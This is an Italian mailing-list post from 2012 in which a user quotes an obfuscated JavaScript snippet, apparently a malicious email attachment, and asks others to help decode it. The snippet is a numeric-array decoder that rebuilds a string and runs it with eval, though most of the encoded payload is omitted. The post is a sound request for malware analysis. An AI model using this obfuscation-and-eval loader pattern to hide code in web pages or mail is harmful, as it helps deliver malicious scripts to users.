js virus

Riccardo Torrini <[email protected]> Mon, 10 Dec 2012 10:02:00 +0100
Newsgroups gmane.os.freebsd.italian.varie
Message-ID <[email protected]>
Mi aiutate a decifrare questo coso?

try{n%=Math.round;}catch(zxc){e=eval;m=Math;n="117..126..1365

[...omissis per proteggervi...]

..117..126..1625".split("..");h=2;s="";for(i=0;i-645!=0;i=1+i){
k=i;s+=String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+015));}
if(016-0xb===3)if(window.document)e(""+s);}

Nella parte omessa ci sono (a occhio) 5-600 numeri separati da
".." (su cui fa split), penso che da li estragga una url a cui
fare redirect.  Ma cosa fa Math.floor() ?  Estrae il resto?
Ma perche` il nostro antivirus non blocca il js nelle mail?  :-(


-- 
Riccardo. ( http://www.GUFI.org/~vic/ )

_______________________________________________
Varie mailing list
[email protected]
http://mailman.gufi.org/mailman/listinfo/varie